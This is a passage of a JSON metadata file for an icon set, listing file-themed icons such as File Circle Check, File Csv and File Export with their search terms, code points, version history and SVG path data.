      "terms": ["document", "file", "not affected", "ok", "okay", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e5a0",
    "label": "File Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L416 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L416 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e4eb",
    "label": "File Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0-192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16s16-7.2 16-16V288c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-minus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e4ed",
    "label": "File Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm224 0c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H496c8.8 0 16-7.2 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm224 0c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H496c8.8 0 16-7.2 16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-plus": {
    "aliases": {
      "unicodes": {
        "composite": ["e4ee"]
      }
    },
    "changes": ["6.0.0", "6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["add", "document", "file", "new", "page", "paper", "pdf"]
    },
    "styles": ["solid"],
    "unicode": "e494",
    "label": "File Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm16 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H368c-8.8 0-16 7.2-16 16s7.2 16 16 16h48v48c0 8.8 7.2 16 16 16s16-7.2 16-16V384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H448V304z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm16 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H368c-8.8 0-16 7.2-16 16s7.2 16 16 16h48v48c0 8.8 7.2 16 16 16s16-7.2 16-16V384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H448V304z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-question": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e4ef",
    "label": "File Circle Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM368 321.6V328c0 8.8 7.2 16 16 16s16-7.2 16-16v-6.4c0-5.3 4.3-9.6 9.6-9.6h40.5c7.7 0 13.9 6.2 13.9 13.9c0 5.2-2.9 9.9-7.4 12.3l-32 16.8c-5.3 2.8-8.6 8.2-8.6 14.2V384c0 8.8 7.2 16 16 16s16-7.2 16-16v-5.1l23.5-12.3c15.1-7.9 24.5-23.6 24.5-40.6c0-25.4-20.6-45.9-45.9-45.9H409.6c-23 0-41.6 18.6-41.6 41.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM368 321.6V328c0 8.8 7.2 16 16 16s16-7.2 16-16v-6.4c0-5.3 4.3-9.6 9.6-9.6h40.5c7.7 0 13.9 6.2 13.9 13.9c0 5.2-2.9 9.9-7.4 12.3l-32 16.8c-5.3 2.8-8.6 8.2-8.6 14.2V384c0 8.8 7.2 16 16 16s16-7.2 16-16v-5.1l23.5-12.3c15.1-7.9 24.5-23.6 24.5-40.6c0-25.4-20.6-45.9-45.9-45.9H409.6c-23 0-41.6 18.6-41.6 41.6z"
      }
    },
    "free": ["solid"]
  },
  "file-circle-xmark": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "file", "paper"]
    },
    "styles": ["solid"],
    "unicode": "e5a1",
    "label": "File Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v38.6C310.1 219.5 256 287.4 256 368c0 59.1 29.1 111.3 73.7 143.3c-3.2 .5-6.4 .7-9.7 .7H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm48 96a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z"
      }
    },
    "free": ["solid"]
  },
  "file-code": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c9"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["css", "development", "document", "html"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c9",
    "label": "File Code",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM153 289l-31 31 31 31c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L71 337c-9.4-9.4-9.4-24.6 0-33.9l48-48c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM265 255l48 48c9.4 9.4 9.4 24.6 0 33.9l-48 48c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l31-31-31-31c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM153 289l-31 31 31 31c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L71 337c-9.4-9.4-9.4-24.6 0-33.9l48-48c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM265 255l48 48c9.4 9.4 9.4 24.6 0 33.9l-48 48c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l31-31-31-31c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm97 289c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L79 303c-9.4 9.4-9.4 24.6 0 33.9l48 48c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-31-31 31-31zM257 255c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l31 31-31 31c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l48-48c9.4-9.4 9.4-24.6 0-33.9l-48-48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm97 289c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L79 303c-9.4 9.4-9.4 24.6 0 33.9l48 48c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-31-31 31-31zM257 255c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l31 31-31 31c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l48-48c9.4-9.4 9.4-24.6 0-33.9l-48-48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-contract": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f56c"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agreement", "binding", "document", "legal", "signature"]
    },
    "styles": ["solid"],
    "unicode": "f56c",
    "label": "File Contract",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM80 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm54.2 253.8c-6.1 20.3-24.8 34.2-46 34.2H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h8.2c7.1 0 13.3-4.6 15.3-11.4l14.9-49.5c3.4-11.3 13.8-19.1 25.6-19.1s22.2 7.7 25.6 19.1l11.6 38.6c7.4-6.2 16.8-9.7 26.8-9.7c15.9 0 30.4 9 37.5 23.2l4.4 8.8H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-6.1 0-11.6-3.4-14.3-8.8l-8.8-17.7c-1.7-3.4-5.1-5.5-8.8-5.5s-7.2 2.1-8.8 5.5l-8.8 17.7c-2.9 5.9-9.2 9.4-15.7 8.8s-12.1-5.1-13.9-11.3L144 349l-9.8 32.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM80 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm54.2 253.8c-6.1 20.3-24.8 34.2-46 34.2H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h8.2c7.1 0 13.3-4.6 15.3-11.4l14.9-49.5c3.4-11.3 13.8-19.1 25.6-19.1s22.2 7.7 25.6 19.1l11.6 38.6c7.4-6.2 16.8-9.7 26.8-9.7c15.9 0 30.4 9 37.5 23.2l4.4 8.8H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-6.1 0-11.6-3.4-14.3-8.8l-8.8-17.7c-1.7-3.4-5.1-5.5-8.8-5.5s-7.2 2.1-8.8 5.5l-8.8 17.7c-2.9 5.9-9.2 9.4-15.7 8.8s-12.1-5.1-13.9-11.3L144 349l-9.8 32.8z"
      }
    },
    "free": ["solid"]
  },
  "file-csv": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6dd"]
      }
    },
    "changes": [
      "5.4.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["document", "excel", "numbers", "spreadsheets", "table"]
    },
    "styles": ["solid"],
    "unicode": "f6dd",
    "label": "File Csv",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V304H176c-35.3 0-64 28.7-64 64V512H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM200 352h16c22.1 0 40 17.9 40 40v8c0 8.8-7.2 16-16 16s-16-7.2-16-16v-8c0-4.4-3.6-8-8-8H200c-4.4 0-8 3.6-8 8v80c0 4.4 3.6 8 8 8h16c4.4 0 8-3.6 8-8v-8c0-8.8 7.2-16 16-16s16 7.2 16 16v8c0 22.1-17.9 40-40 40H200c-22.1 0-40-17.9-40-40V392c0-22.1 17.9-40 40-40zm133.1 0H368c8.8 0 16 7.2 16 16s-7.2 16-16 16H333.1c-7.2 0-13.1 5.9-13.1 13.1c0 5.2 3 9.9 7.8 12l37.4 16.6c16.3 7.2 26.8 23.4 26.8 41.2c0 24.9-20.2 45.1-45.1 45.1H304c-8.8 0-16-7.2-16-16s7.2-16 16-16h42.9c7.2 0 13.1-5.9 13.1-13.1c0-5.2-3-9.9-7.8-12l-37.4-16.6c-16.3-7.2-26.8-23.4-26.8-41.2c0-24.9 20.2-45.1 45.1-45.1zm98.9 0c8.8 0 16 7.2 16 16v31.6c0 23 5.5 45.6 16 66c10.5-20.3 16-42.9 16-66V368c0-8.8 7.2-16 16-16s16 7.2 16 16v31.6c0 34.7-10.3 68.7-29.6 97.6l-5.1 7.7c-3 4.5-8 7.1-13.3 7.1s-10.3-2.7-13.3-7.1l-5.1-7.7c-19.3-28.9-29.6-62.9-29.6-97.6V368c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V304H176c-35.3 0-64 28.7-64 64V512H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM200 352h16c22.1 0 40 17.9 40 40v8c0 8.8-7.2 16-16 16s-16-7.2-16-16v-8c0-4.4-3.6-8-8-8H200c-4.4 0-8 3.6-8 8v80c0 4.4 3.6 8 8 8h16c4.4 0 8-3.6 8-8v-8c0-8.8 7.2-16 16-16s16 7.2 16 16v8c0 22.1-17.9 40-40 40H200c-22.1 0-40-17.9-40-40V392c0-22.1 17.9-40 40-40zm133.1 0H368c8.8 0 16 7.2 16 16s-7.2 16-16 16H333.1c-7.2 0-13.1 5.9-13.1 13.1c0 5.2 3 9.9 7.8 12l37.4 16.6c16.3 7.2 26.8 23.4 26.8 41.2c0 24.9-20.2 45.1-45.1 45.1H304c-8.8 0-16-7.2-16-16s7.2-16 16-16h42.9c7.2 0 13.1-5.9 13.1-13.1c0-5.2-3-9.9-7.8-12l-37.4-16.6c-16.3-7.2-26.8-23.4-26.8-41.2c0-24.9 20.2-45.1 45.1-45.1zm98.9 0c8.8 0 16 7.2 16 16v31.6c0 23 5.5 45.6 16 66c10.5-20.3 16-42.9 16-66V368c0-8.8 7.2-16 16-16s16 7.2 16 16v31.6c0 34.7-10.3 68.7-29.6 97.6l-5.1 7.7c-3 4.5-8 7.1-13.3 7.1s-10.3-2.7-13.3-7.1l-5.1-7.7c-19.3-28.9-29.6-62.9-29.6-97.6V368c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-excel": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c3"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["csv", "document", "numbers", "spreadsheets", "table"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c3",
    "label": "File Excel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM155.7 250.2L192 302.1l36.3-51.9c7.6-10.9 22.6-13.5 33.4-5.9s13.5 22.6 5.9 33.4L221.3 344l46.4 66.2c7.6 10.9 5 25.8-5.9 33.4s-25.8 5-33.4-5.9L192 385.8l-36.3 51.9c-7.6 10.9-22.6 13.5-33.4 5.9s-13.5-22.6-5.9-33.4L162.7 344l-46.4-66.2c-7.6-10.9-5-25.8 5.9-33.4s25.8-5 33.4 5.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM155.7 250.2L192 302.1l36.3-51.9c7.6-10.9 22.6-13.5 33.4-5.9s13.5 22.6 5.9 33.4L221.3 344l46.4 66.2c7.6 10.9 5 25.8-5.9 33.4s-25.8 5-33.4-5.9L192 385.8l-36.3 51.9c-7.6 10.9-22.6 13.5-33.4 5.9s-13.5-22.6-5.9-33.4L162.7 344l-46.4-66.2c-7.6-10.9-5-25.8 5.9-33.4s25.8-5 33.4 5.9z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 448V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm90.9 233.3c-8.1-10.5-23.2-12.3-33.7-4.2s-12.3 23.2-4.2 33.7L161.6 320l-44.5 57.3c-8.1 10.5-6.3 25.5 4.2 33.7s25.5 6.3 33.7-4.2L192 359.1l37.1 47.6c8.1 10.5 23.2 12.3 33.7 4.2s12.3-23.2 4.2-33.7L222.4 320l44.5-57.3c8.1-10.5 6.3-25.5-4.2-33.7s-25.5-6.3-33.7 4.2L192 280.9l-37.1-47.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 448V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm90.9 233.3c-8.1-10.5-23.2-12.3-33.7-4.2s-12.3 23.2-4.2 33.7L161.6 320l-44.5 57.3c-8.1 10.5-6.3 25.5 4.2 33.7s25.5 6.3 33.7-4.2L192 359.1l37.1 47.6c8.1 10.5 23.2 12.3 33.7 4.2s12.3-23.2 4.2-33.7L222.4 320l44.5-57.3c8.1-10.5 6.3-25.5-4.2-33.7s-25.5-6.3-33.7 4.2L192 280.9l-37.1-47.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-export": {
    "aliases": {
      "names": ["arrow-right-from-file"],
      "unicodes": {
        "secondary": ["10f56e"]
      }
    },
    "changes": [
      "5.1.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["download", "save"]
    },
    "styles": ["solid"],
    "unicode": "f56e",
    "label": "File Export",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V288H216c-13.3 0-24 10.7-24 24s10.7 24 24 24H384V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM384 336V288H494.1l-39-39c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l80 80c9.4 9.4 9.4 24.6 0 33.9l-80 80c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l39-39H384zm0-208H256V0L384 128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V288H216c-13.3 0-24 10.7-24 24s10.7 24 24 24H384V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM384 336V288H494.1l-39-39c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l80 80c9.4 9.4 9.4 24.6 0 33.9l-80 80c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l39-39H384zm0-208H256V0L384 128z"
      }
    },
    "free": ["solid"]
  },
  "file-image": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5bb"],
        "secondary": ["10f1c5"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Document with Picture",
        "document",
        "image",
        "jpg",
        "photo",
        "png"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c5",
    "label": "File Image",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm152 32c5.3 0 10.2 2.6 13.2 6.9l88 128c3.4 4.9 3.7 11.3 1 16.5s-8.2 8.6-14.2 8.6H216 176 128 80c-5.8 0-11.1-3.1-13.9-8.1s-2.8-11.2 .2-16.1l48-80c2.9-4.8 8.1-7.8 13.7-7.8s10.8 2.9 13.7 7.8l12.8 21.4 48.3-70.2c3-4.3 7.9-6.9 13.2-6.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
